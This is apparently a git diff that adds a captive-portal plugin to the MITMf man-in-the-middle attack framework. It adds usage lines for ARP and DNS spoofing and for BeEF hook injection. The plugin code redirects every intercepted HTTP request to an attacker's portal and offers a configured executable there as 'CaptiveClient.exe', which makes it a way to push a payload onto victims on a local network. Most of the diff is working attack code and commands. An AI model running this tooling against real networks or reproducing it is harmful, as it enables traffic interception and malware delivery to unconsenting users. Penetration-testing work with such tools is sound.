diff --git a/.gitignore b/.gitignore index 0860090..acdb2f6 100644 --- a/.gitignore +++ b/.gitignore @@ -57,3 +57,7 @@ docs/_build/ # PyBuilder target/ + +# OSX Stuff +.DS_Store +._.DS_Store diff --git a/README.md b/README.md old mode 100644 new mode 100755 index 43f541c..8d5d85e --- a/README.md +++ b/README.md @@ -112,6 +112,26 @@ Inject a JS script: ```python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js``` +Start a captive portal that redirects everything to http://SERVER/PATH: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH``` + +Start captive portal at http://your-ip/portal.html using default page /portal.html (thx responder) and /CaptiveClient.exe (not included) from the config/captive folder: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive``` + +Same as above but with hostname captive.portal instead of IP (requires captive.portal to resolve to your IP, e.g. via DNS spoof): + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns``` + +Serve a captive portal with an additional SimpleHTTPServer instance serving the LOCALDIR at http://IP:8080 (change port in mitmf.config): + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR``` + +Same as above but with hostname: + +```python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns``` + And much much more! Of course you can mix and match almost any plugin together (e.g. ARP spoof + inject + Responder etc..) @@ -137,3 +157,4 @@ For a complete list of available options, just run ```python mitmf.py --help``` - **Replace** : Replace arbitrary content in HTML content - **SMBAuth** : Evoke SMB challenge-response authentication attempts - **Upsidedownternet** : Flips images 180 degrees +- **Captive** : Creates a captive portal, redirecting HTTP requests using 302 diff --git a/config/captive/portal.html b/config/captive/portal.html new file mode 100755 index 0000000..80b0cac --- /dev/null +++ b/config/captive/portal.html @@ -0,0 +1,31 @@ + + +Captive Portal + + + + +
+
+
Client Required
+ +
+ +
+ + + diff --git a/config/mitmf.conf b/config/mitmf.conf old mode 100644 new mode 100755 index 77af21c..1e78825 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -38,6 +38,7 @@ [[[A]]] # Queries for IPv4 address records *.thesprawl.org=192.168.178.27 + *.captive.portal=192.168.1.100 [[[AAAA]]] # Queries for IPv6 address records *.thesprawl.org=2001:db8::1 @@ -75,6 +76,14 @@ # # Plugin configuration starts here # +[Captive] + + # Set Server Port and string if we are serving our own portal from SimpleHTTPServer (80 is already used by default server) + Port = 8080 + ServerString = "Captive Server 1.0" + + # Set the filename served as /CaptivePortal.exe by integrated http server + PayloadFilename = config/captive/calc.exe [Replace] diff --git a/plugins/captive.py b/plugins/captive.py new file mode 100755 index 0000000..7bbaa94 --- /dev/null +++ b/plugins/captive.py @@ -0,0 +1,149 @@ +# Copyright (c) 2014-2016 Oliver Nettinger, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +# note: portal.html has been adapted from +# config/responder/AccessDenied.html for now + +from plugins.plugin import Plugin +from urlparse import urlparse + + +class Captive(Plugin): + name = "Captive Portal" + optname = "captive" + tree_info = ["Captive Portal online"] + desc = "Be a captive portal!" + version = "0.1" + + def initialize(self, options): + self.options = options + + from core.utils import shutdown + + if options.portalurl: + self.portalurl = options.portalurl + else: + # self.options.ip is prefilled earlier + self.hostname = 'captive.portal' if self.options.usedns else self.options.ip + + if options.portaldir: + self.serve_dir(options.portaldir) + else: + self.serve_portal() + + def response(self, response, request, data): + + if urlparse(self.portalurl).hostname not in request.headers['host']: + self.clientlog.info("Redirecting to captive portal {}".format(self.portalurl), extra=request.clientInfo) + response.headers = {} + data = ''' + +

Please click here if you are not redirected automatically

+ + '''.format(self.portalurl) + response.redirect(self.portalurl) + + return {'response': response, 'request':request, 'data': data} + + def options(self, options): + ''' captive can be either run redirecting to a specified url (--portalurl), serve the payload locally (no argument) or + start an instance of SimpleHTTPServer to serve the LOCALDIR (--portaldir) ''' + group = options.add_mutually_exclusive_group(required=False) + group.add_argument('--portalurl', dest='portalurl', metavar="URL", help='Specify the URL where the portal is located, e.g. http://example.com.') + group.add_argument('--portaldir', dest='portaldir', metavar="LOCALDIR", help='Specify a local path containg the portal files served with a SimpleHTTPServer on a different port (see config).') + + options.add_argument('--use-dns', dest='usedns', action='store_true', help='Whether we use dns spoofing to serve from a fancier portal URL captive.portal when used without options or portaldir. Requires DNS for "captive.portal" to resolve, e.g. via configured dns spoofing --dns.') + + def on_shutdown(self): + '''This will be called when shutting down''' + pass + + def serve_portal(self): + + self.portalurl = 'http://{}/portal.html'.format(self.hostname) + + from core.servers.HTTP import HTTP + HTTP.add_static_endpoint('portal.html','text/html', './config/captive/portal.html') + HTTP.add_static_endpoint('CaptiveClient.exe','application/octet-stream', self.config['Captive']['PayloadFilename']) + self.tree_info.append("Portal login served by built-in HTTP server.") + + + def serve_dir(self, dir): + import threading + import posixpath + import urllib + import os + from SimpleHTTPServer import SimpleHTTPRequestHandler + from BaseHTTPServer import HTTPServer as ServerClass + Protocol = "HTTP/1.0" + port = self.config['Captive']['Port'] + ServerString = self.config['Captive']['ServerString'] + + self.portalurl = "http://{}:{}/".format(self.hostname, port) + + ROUTES = (['', dir],) + class HandlerClass(SimpleHTTPRequestHandler): + '''HandlerClass adapted from https://gist.github.com/creativeaura/5546779''' + + def translate_path(self, path): + '''translate path given routes''' + + # set default root to cwd + root = os.getcwd() + + # look up routes and set root directory accordingly + for pattern, rootdir in ROUTES: + if path.startswith(pattern): + # found match! + path = path[len(pattern):] # consume path up to pattern len + root = rootdir + break + + # normalize path and prepend root directory + path = path.split('?',1)[0] + path = path.split('#',1)[0] + path = posixpath.normpath(urllib.unquote(path)) + words = path.split('/') + words = filter(None, words) + + path = root + for word in words: + drive, word = os.path.splitdrive(word) + head, word = os.path.split(word) + if word in (os.curdir, os.pardir): + continue + path = os.path.join(path, word) + + return path + + + server_address = ('0.0.0.0', int(port)) + HandlerClass.protocol_version = Protocol + HandlerClass.server_version = ServerString + + httpd = ServerClass(server_address, HandlerClass) + ServerClass.path = dir + + sa = httpd.socket.getsockname() + try: + t = threading.Thread(name='PortalServer', target=httpd.serve_forever) + t.setDaemon(True) + t.start() + self.tree_info.append("Portal Server instance running on port {} serving {}".format(port, dir)) + except Exception as e: + shutdown("Failed to start Portal Server")